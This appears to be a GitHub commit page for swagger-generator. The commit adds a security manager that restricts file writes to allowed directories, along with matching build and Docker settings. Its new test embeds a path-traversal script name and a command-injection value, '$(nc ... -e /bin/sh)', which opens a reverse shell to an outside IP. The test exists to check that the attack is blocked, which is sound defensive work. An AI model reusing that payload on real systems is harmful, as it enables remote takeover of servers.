Skip to content

Commit b418914

Browse files
frantumafrantuma
authored
Merge pull request #10525 from swagger-api/write-security-policy
configure security manager to write protect container filesystem
2 parents 2350e4b + 7a2b88c commit b418914

File tree

8 files changed

+173
-1
lines changed

8 files changed

+173
-1
lines changed

‎grantall.policy‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
grant {
2+
permission java.security.AllPermission;
3+
};

‎modules/swagger-generator/Dockerfile‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ WORKDIR /generator
1111
COPY docker/jetty_base /generator/
1212
COPY docker/ROOT.xml /generator/webapps/ROOT.xml
1313
COPY target/*.war /generator/webapps/ROOT.war
14+
COPY grantall.policy /generator/grantall.policy
1415
ENV JETTY_BASE /generator
1516
ARG HIDDEN_OPTIONS_DEFAULT_PATH
1617
COPY ${HIDDEN_OPTIONS_DEFAULT_PATH} /generator/resources/

‎modules/swagger-generator/docker/jetty_base/start‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ JAVA_DEBUG_OPTIONS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8005,server=y,
4343
# APP options
4444
APP_OPTS="-DHIDDEN_OPTIONS_PATH=${HIDDEN_OPTIONS_PATH} -DHIDDEN_OPTIONS=${HIDDEN_OPTIONS}"
4545
# JVM options
46-
JAVA_OPTS="-server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8"
46+
JAVA_OPTS="-Djava.security.manager -Djava.security.policy==grantall.policy -DgeneratorWriteDirs="/tmp" -server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8"
4747

4848
echo "Starting application with command: "
4949
echo ${JAVA_EXEC} ${JETTY_OPTS} ${APP_OPTS} ${JAVA_OPTS} -jar $JETTY_HOME/start.jar

‎modules/swagger-generator/grantall.policy‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
grant {
2+
permission java.security.AllPermission;
3+
};

‎modules/swagger-generator/pom.xml‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,10 +38,27 @@
3838
</execution>
3939
</executions>
4040
</plugin>
41+
<plugin>
42+
<groupId>org.apache.maven.plugins</groupId>
43+
<artifactId>maven-surefire-plugin</artifactId>
44+
<version>${surefire-version}</version>
45+
<configuration>
46+
<systemPropertyVariables>
47+
<java.security.policy>${java.security.policy}</java.security.policy>
48+
<generatorWriteDirs>/tmp,.</generatorWriteDirs>
49+
</systemPropertyVariables>
50+
</configuration>
51+
</plugin>
4152
<plugin>
4253
<groupId>org.apache.maven.plugins</groupId>
4354
<artifactId>maven-failsafe-plugin</artifactId>
4455
<version>2.22.0</version>
56+
<configuration>
57+
<systemPropertyVariables>
58+
<java.security.policy>${java.security.policy}</java.security.policy>
59+
<generatorWriteDirs>/tmp,.</generatorWriteDirs>
60+
</systemPropertyVariables>
61+
</configuration>
4562
<executions>
4663
<execution>
4764
<id>integration-test</id>
@@ -79,6 +96,10 @@
7996
<name>logback.configurationFile</name>
8097
<value>src/main/resources/logback.xml</value>
8198
</systemProperty>
99+
<systemProperty>
100+
<name>java.security.policy</name>
101+
<value>${java.security.policy}</value>
102+
</systemProperty>
82103
</systemProperties>
83104
<webApp>
84105
<contextPath>/</contextPath>
@@ -364,6 +385,7 @@
364385
</dependency>
365386
</dependencies>
366387
<properties>
388+
<java.security.policy>grantall.policy</java.security.policy>
367389
<dockerfile.tag.skip>true</dockerfile.tag.skip>
368390
<docker-latest-tag>unstable</docker-latest-tag>
369391
<maven-plugin-version>1.0.0</maven-plugin-version>

‎modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
import io.swagger.v3.core.util.Yaml;
1111
import io.swagger.codegen.v3.service.GenerationRequest;
1212
import io.swagger.v3.generator.model.HiddenOptions;
13+
import io.swagger.v3.generator.util.FileAccessSecurityManager;
1314
import io.swagger.v3.generator.util.ZipUtil;
1415
import io.swagger.oas.inflector.models.RequestContext;
1516
import io.swagger.oas.inflector.models.ResponseContext;
@@ -52,6 +53,9 @@ public class GeneratorController {
5253
private static String PROP_HIDDEN_OPTIONS = "HIDDEN_OPTIONS";
5354

5455
static {
56+
// allow writing files only to directories configgured via generatorWriteDirs sys prop
57+
// e.g. -DgeneratorWriteDirs="/tmp"
58+
System.setSecurityManager(new FileAccessSecurityManager());
5559

5660
hiddenOptions = loadHiddenOptions();
5761
final ServiceLoader<CodegenConfig> loader = ServiceLoader.load(CodegenConfig.class);

‎modules/swagger-generator/src/main/java/io/swagger/v3/generator/util/FileAccessSecurityManager.java‎

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
package io.swagger.v3.generator.util;
2+
3+
import org.apache.commons.lang3.StringUtils;
4+
import org.slf4j.Logger;
5+
import org.slf4j.LoggerFactory;
6+
7+
import java.io.File;
8+
import java.io.IOException;
9+
import java.security.AccessControlException;
10+
import java.util.ArrayList;
11+
import java.util.Arrays;
12+
import java.util.List;
13+
14+
public class FileAccessSecurityManager extends SecurityManager {
15+
16+
static Logger LOGGER = LoggerFactory.getLogger(FileAccessSecurityManager.class);
17+
18+
static List<String> allowedDirectories= StringUtils.isBlank(System.getProperty("generatorWriteDirs")) ? new ArrayList<>() : Arrays.asList(System.getProperty("generatorWriteDirs").split(","));
19+
20+
@Override
21+
public void checkWrite(String file) {
22+
super.checkWrite(file);
23+
24+
if (allowedDirectories.isEmpty()) {
25+
return;
26+
}
27+
if (!StringUtils.isBlank(file)) {
28+
boolean granted = false;
29+
30+
for (String dir : allowedDirectories) {
31+
try {
32+
String dirPath = new File(dir).getCanonicalPath();
33+
if (new File(file).getCanonicalPath().startsWith(dirPath)) {
34+
granted = true;
35+
}
36+
} catch (IOException e) {
37+
LOGGER.error("Exception getting absolute path for file {} and/or allowed dir ", file, e);
38+
throw new SecurityException("Exception getting absolute path for allowed dir " + dir + " and/or file " + file);
39+
}
40+
41+
}
42+
if (!granted) {
43+
LOGGER.error("Blocking attempt to write to not allowed directory for file " + file);
44+
throw new AccessControlException("Error writing file to " + file + " as target dir is not allowed");
45+
}
46+
}
47+
}
48+
}

‎modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java‎

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,4 +39,95 @@ public void generateJava() throws Exception {
3939
Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE);
4040
Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"java-client-generated.zip\""));
4141
}
42+
43+
44+
@Test
45+
public void generateBashWithAndWithoutSecurityThreat() throws Exception {
46+
47+
String requestJson = "{\n" +
48+
" \"lang\": \"bash\",\n" +
49+
" \"spec\": {\n" +
50+
" \"swagger\": \"2.0\",\n" +
51+
" \"info\": {\n" +
52+
" \"title\": \"Sample API\",\n" +
53+
" \"description\": \"API description in Markdown.\",\n" +
54+
" \"version\": \"1.0.0\"\n" +
55+
" },\n" +
56+
" \"paths\": {\n" +
57+
" \"/users\": {\n" +
58+
" \"get\": {\n" +
59+
" \"produces\": [\n" +
60+
" \"application/json\"\n" +
61+
" ],\n" +
62+
" \"responses\": {\n" +
63+
" \"200\": {\n" +
64+
" \"description\": \"OK\"\n" +
65+
" }\n" +
66+
" }\n" +
67+
" }\n" +
68+
" }\n" +
69+
" }\n" +
70+
" },\n" +
71+
" \"type\": \"CLIENT\",\n" +
72+
" \"codegenVersion\": \"V2\",\n" +
73+
" \"options\": {\n" +
74+
" \"additionalProperties\": {\n" +
75+
" \"scriptName\": \"../mytemp/start\",\n" +
76+
" \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" +
77+
" }\n" +
78+
" }\n" +
79+
"}";
80+
81+
82+
GenerationRequest generationRequest = Json.mapper().readValue(requestJson, GenerationRequest.class);
83+
84+
GeneratorController g = new GeneratorController();
85+
RequestContext r = new RequestContext();
86+
ResponseContext rr = g.generate(r, generationRequest);
87+
Assert.assertEquals(rr.getStatus(), 200);
88+
Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE);
89+
Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"bash-client-generated.zip\""));
90+
91+
String requestJsonWithThreatInTargetScriptName = "{\n" +
92+
" \"lang\": \"bash\",\n" +
93+
" \"spec\": {\n" +
94+
" \"swagger\": \"2.0\",\n" +
95+
" \"info\": {\n" +
96+
" \"title\": \"Sample API\",\n" +
97+
" \"description\": \"API description in Markdown.\",\n" +
98+
" \"version\": \"1.0.0\"\n" +
99+
" },\n" +
100+
" \"paths\": {\n" +
101+
" \"/users\": {\n" +
102+
" \"get\": {\n" +
103+
" \"produces\": [\n" +
104+
" \"application/json\"\n" +
105+
" ],\n" +
106+
" \"responses\": {\n" +
107+
" \"200\": {\n" +
108+
" \"description\": \"OK\"\n" +
109+
" }\n" +
110+
" }\n" +
111+
" }\n" +
112+
" }\n" +
113+
" }\n" +
114+
" },\n" +
115+
" \"type\": \"CLIENT\",\n" +
116+
" \"codegenVersion\": \"V2\",\n" +
117+
" \"options\": {\n" +
118+
" \"additionalProperties\": {\n" +
119+
" \"scriptName\": \"../../mytemp/start\",\n" +
120+
" \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" +
121+
" }\n" +
122+
" }\n" +
123+
"}";
124+
125+
126+
generationRequest = Json.mapper().readValue(requestJsonWithThreatInTargetScriptName, GenerationRequest.class);
127+
128+
g = new GeneratorController();
129+
r = new RequestContext();
130+
rr = g.generate(r, generationRequest);
131+
Assert.assertEquals(rr.getStatus(), 500);
132+
}
42133
}

0 commit comments

Comments
 (0)